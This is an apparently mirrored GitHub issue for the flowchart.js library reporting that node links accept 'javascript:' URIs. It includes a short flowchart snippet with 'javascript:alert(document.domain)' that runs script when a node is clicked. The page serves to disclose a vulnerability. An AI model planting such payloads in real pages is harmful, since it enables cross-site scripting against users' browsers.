adrai / adrai/flowchart.js

flowchart's link may leads to XSS attack

Ouverte
#176 1 commentaire 0 réactions 0 personnes assignées Voir sur GitHub
Langage dominant
JavaScript
Étoiles
8.7k
Forks
1.2k
Métriques de merge des PR
Aucune PR mergée en 30 j

Description

```flowchart
st=>start: Start:>javascript:alert(document.domain)
e=>end:>javascript:alert(document.domain)
st->e
`````

If you click the node, javascript will be executed, which leads to XSS attack

image

Guide de contribution

Aucun guide de contribution indexé pour ce dépôt

Évaluation

Cette issue n'a pas encore été évaluée.

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.